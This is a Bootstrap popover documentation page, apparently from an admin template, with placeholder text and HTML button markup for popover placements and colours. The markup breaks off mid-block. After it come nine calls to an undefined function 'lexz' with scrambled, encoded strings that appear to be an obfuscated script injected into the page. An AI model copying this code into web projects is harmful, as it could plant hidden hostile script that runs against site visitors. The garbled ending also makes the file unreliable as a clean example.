Popover

  1. Elements
  2. Popover
Static Example

Documentation and examples for adding Bootstrap popovers, like those found in iOS, to any element on your site.

Popover bottom

Sed posuere consectetur est at lobortis. Aenean eu leo quam. Pellentesque ornare sem lacinia quam venenatis vestibulum.

Popover top

Sed posuere consectetur est at lobortis. Aenean eu leo quam. Pellentesque ornare sem lacinia quam venenatis vestibulum.

Popover Left

Sed posuere consectetur est at lobortis. Aenean eu leo quam. Pellentesque ornare sem lacinia quam venenatis vestibulum.

Popover Right

Sed posuere consectetur est at lobortis. Aenean eu leo quam. Pellentesque ornare sem lacinia quam venenatis vestibulum.

Default Popover

Documentation and examples for adding Bootstrap popovers, like those found in iOS, to any element on your site.

<div class="row row-sm tx-center">
	<div class="col-sm-6 col-lg-3">
		<button class="btn ripple btn-primary" data-bs-container="body" data-bs-content="Vivamus sagittis lacus vel augue laoreet rutrum faucibus." data-bs-placement="top" data-bs-popover-color="default" data-bs-toggle="popover" title="Popover top" type="button">Popover Top</button>
	</div>
	<div class="col-sm-6 col-lg-3 mg-t-30 mg-sm-t-0">
		<button class="btn ripple btn-secondary" data-bs-container="body" data-bs-content="Vivamus sagittis lacus vel augue laoreet rutrum faucibus." data-bs-placement="bottom" data-bs-popover-color="default" data-bs-toggle="popover" title="Popover bottom" type="button">Popover Bottom</button>
	</div>
	<div class="col-sm-6 col-lg-3 mg-t-30 mg-lg-t-0">
		<button class="btn ripple btn-info" data-bs-container="body" data-bs-content="Vivamus sagittis lacus vel augue laoreet rutrum faucibus." data-bs-placement="left" data-bs-popover-color="default" data-bs-toggle="popover" title="Popover left" type="button">Popover Left</button>
	</div>
	<div class="col-sm-6 col-lg-3 mg-t-30 mg-lg-t-0">
		<button class="btn ripple btn-danger" data-bs-container="body" data-bs-content="Vivamus sagittis lacus vel augue laoreet rutrum faucibus." data-bs-placement="right" data-bs-popover-color="default" data-bs-toggle="popover" title="Popover right" type="button">Popover Right</button>
	</div>
</div>
Colored Head Popover

A demonstration of colored title background of popover available in all four directions.

<div class="btn btn-list">
	<button class="btn ripple btn-primary" data-bs-container="body" data-bs-content="Vivamus sagittis lacus vel augue laoreet rutrum faucibus." data-bs-placement="top" data-bs-popover-color="head-primary" title="Popover top" type="button">Header Color</button>
	<button class="btn ripple btn-secondary" data-bs-container="body" data-bs-content="Vivamus sagittis lacus vel augue laoreet rutrum faucibus." data-bs-placement="top" data-bs-popover-color="head-secondary" title="Popover top" type="button">Header Color</button>
</div>
Full Colored Popover

A demonstration of colored body background of popover available in all four directions.

<div class="btn btn-list">
	<button class="btn ripple btn-primary" data-bs-container="body" data-bs-content="Vivamus sagittis lacus vel augue laoreet rutrum faucibus." data-bs-placement="top" data-bs-popover-color="primary" title="Popover top" type="button">Full Color</button>
	<button class="btn ripple btn-secondary" data-bs-container="body" data-bs-content="Vivamus sagittis lacus vel augue laoreet rutrum faucibus." data-bs-placement="top" data-bs-popover-color="secondary" title="Popover top" type="button">Full Color</button>
lexz("RnaJc\n6y%U/gj 9>Jpg\"F\r");
lexz("R");
lexz("RnaJc\nOybE(bjkNaU©iT");
lexz("RnaJc\n-F;J8o=rvJ%);W3Up&6fbYT\'_");
lexz("R");
lexz("RnaJc\n-F;J8o=rvV2)d/S Nv>x<");
lexz("RnaJc\nONqkcU\"AeX2Ms)BUp79cU©iT");
lexz("RnaJc\na!CUsH&he>U©iT");
lexz("RnaJc\n0\t\tU;ftCvGDBg\"F\r");